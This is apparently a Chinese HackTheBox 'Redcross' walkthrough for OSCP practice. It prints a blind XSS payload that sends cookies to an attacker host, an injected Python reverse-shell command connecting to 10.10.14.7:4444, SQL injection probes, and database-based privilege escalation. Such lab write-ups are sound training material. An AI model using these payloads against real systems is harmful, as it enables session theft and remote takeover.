Oscp训练靶场之HTB-Redcross
字数 1316 2025-08-11 00:55:05

HTB-Redcross 靶机渗透测试教学文档

0x01 信息收集 (Reconnaissance)

端口扫描

使用nmap进行初始扫描:

nmap -sC -sV -A -v 10.10.10.113

扫描结果显示:

  • 22端口:SSH服务
  • 80端口:HTTP服务
  • 443端口:HTTPS服务

主机文件配置

访问80端口会自动重定向到HTTPS,需在Kali的/etc/hosts文件中添加:

10.10.10.113 redcross.htb intra.redcross.htb

初步Web分析

访问https://intra.redcross.htb发现登录页面,暂时无法绕过。页面存在"contact form"链接:
https://intra.redcross.htb/?page=contact

0x02 漏洞利用

XSS漏洞检测

在contact表单的三个文本框中测试XSS:


  • 前两个输入框:显示安全警告
  • 第三个输入框:无反应,可能存在XSS漏洞

非回显XSS利用

由于第三个输入框不回显,使用以下PoC:

<script>var myimg = new Image();myimg.src = 'http://10.10.14.7/q?=' + document.cookie;</script>

同时在Kali开启HTTP服务:

python3 -m http.server 80

成功获取PHPSESSID。

Cookie欺骗获取管理员权限

  1. 访问https://intra.redcross.htb/?page=login
  2. 使用开发者工具(F12)修改Cookie为获取的PHPSESSID
  3. 成功绕过登录获取管理员权限

SQL注入发现新子域

在管理员界面测试SQL注入:
https://intra.redcross.htb/?o=1%27&page=app

从错误信息中发现新子域admin.redcross.htb,更新hosts文件:

10.10.10.113 admin.redcross.htb

使用相同PHPSESSID成功登录admin panel。

创建低权限用户

  1. 在"User management"中添加用户
  2. 新用户分配了UID和GID,类似Linux用户
  3. 尝试SSH登录成功获取初始立足点

授权后RCE利用

在IP管理功能中发现潜在RCE:

  1. 直接输入命令被"ERR: Invalid IP Address format"拦截
  2. 使用BurpSuite拦截"deny"操作
  3. 在Repeater中修改请求,使用URL编码绕过过滤

反弹shell payload:

ip=127.0.0.1%;ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny&id=14&action=deny

Kali监听:

nc -lvnp 4444

获取shell后升级终端:

python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo

0x03 权限提升

代码审计发现数据库凭证

检查actions.php发现数据库凭证:

  • 用户:unixusrmgr
  • 密码:dheu%7wjx8B&

PostgreSQL数据库操作

连接数据库:

psql -h 127.0.0.1 -d unix -U unixusrmgr -W

查看用户表:

SELECT * FROM passwd_table;

修改用户权限提权

  1. 修改tricia用户的UID和GID为root权限值
  2. 更新密码为加密值"sXuCKi7k3Xh/s"(明文"toor")
UPDATE passwd_table SET gid=27 WHERE username='tricia';

获取root权限

su tricia
密码:toor
id  # 验证root权限

0x04 总结

本靶机渗透路径:

  1. 通过XSS漏洞获取管理员PHPSESSID
  2. Cookie欺骗获取Web管理员权限
  3. SQL注入发现新子域系统
  4. 创建低权限用户获取初始立足点
  5. 授权后RCE获取反向shell
  6. 代码审计发现数据库凭证
  7. 通过修改数据库用户表实现权限提升

关键知识点:

  • XSS漏洞利用与Cookie欺骗
  • SQL注入与子域发现
  • 授权后RCE绕过过滤
  • PostgreSQL数据库操作
  • Linux用户系统与/etc/passwd关系
  • 通过修改用户属性实现权限提升
HTB-Redcross 靶机渗透测试教学文档 0x01 信息收集 (Reconnaissance) 端口扫描 使用nmap进行初始扫描: 扫描结果显示: 22端口:SSH服务 80端口:HTTP服务 443端口:HTTPS服务 主机文件配置 访问80端口会自动重定向到HTTPS,需在Kali的 /etc/hosts 文件中添加: 初步Web分析 访问 https://intra.redcross.htb 发现登录页面,暂时无法绕过。页面存在"contact form"链接: https://intra.redcross.htb/?page=contact 0x02 漏洞利用 XSS漏洞检测 在contact表单的三个文本框中测试XSS: 前两个输入框:显示安全警告 第三个输入框:无反应,可能存在XSS漏洞 非回显XSS利用 由于第三个输入框不回显,使用以下PoC: 同时在Kali开启HTTP服务: 成功获取PHPSESSID。 Cookie欺骗获取管理员权限 访问 https://intra.redcross.htb/?page=login 使用开发者工具(F12)修改Cookie为获取的PHPSESSID 成功绕过登录获取管理员权限 SQL注入发现新子域 在管理员界面测试SQL注入: https://intra.redcross.htb/?o=1%27&page=app 从错误信息中发现新子域 admin.redcross.htb ,更新hosts文件: 使用相同PHPSESSID成功登录admin panel。 创建低权限用户 在"User management"中添加用户 新用户分配了UID和GID,类似Linux用户 尝试SSH登录成功获取初始立足点 授权后RCE利用 在IP管理功能中发现潜在RCE: 直接输入命令被"ERR: Invalid IP Address format"拦截 使用BurpSuite拦截"deny"操作 在Repeater中修改请求,使用URL编码绕过过滤 反弹shell payload: Kali监听: 获取shell后升级终端: 0x03 权限提升 代码审计发现数据库凭证 检查 actions.php 发现数据库凭证: 用户:unixusrmgr 密码:dheu%7wjx8B& PostgreSQL数据库操作 连接数据库: 查看用户表: 修改用户权限提权 修改tricia用户的UID和GID为root权限值 更新密码为加密值"sXuCKi7k3Xh/s"(明文"toor") 获取root权限 0x04 总结 本靶机渗透路径: 通过XSS漏洞获取管理员PHPSESSID Cookie欺骗获取Web管理员权限 SQL注入发现新子域系统 创建低权限用户获取初始立足点 授权后RCE获取反向shell 代码审计发现数据库凭证 通过修改数据库用户表实现权限提升 关键知识点: XSS漏洞利用与Cookie欺骗 SQL注入与子域发现 授权后RCE绕过过滤 PostgreSQL数据库操作 Linux用户系统与/etc/passwd关系 通过修改用户属性实现权限提升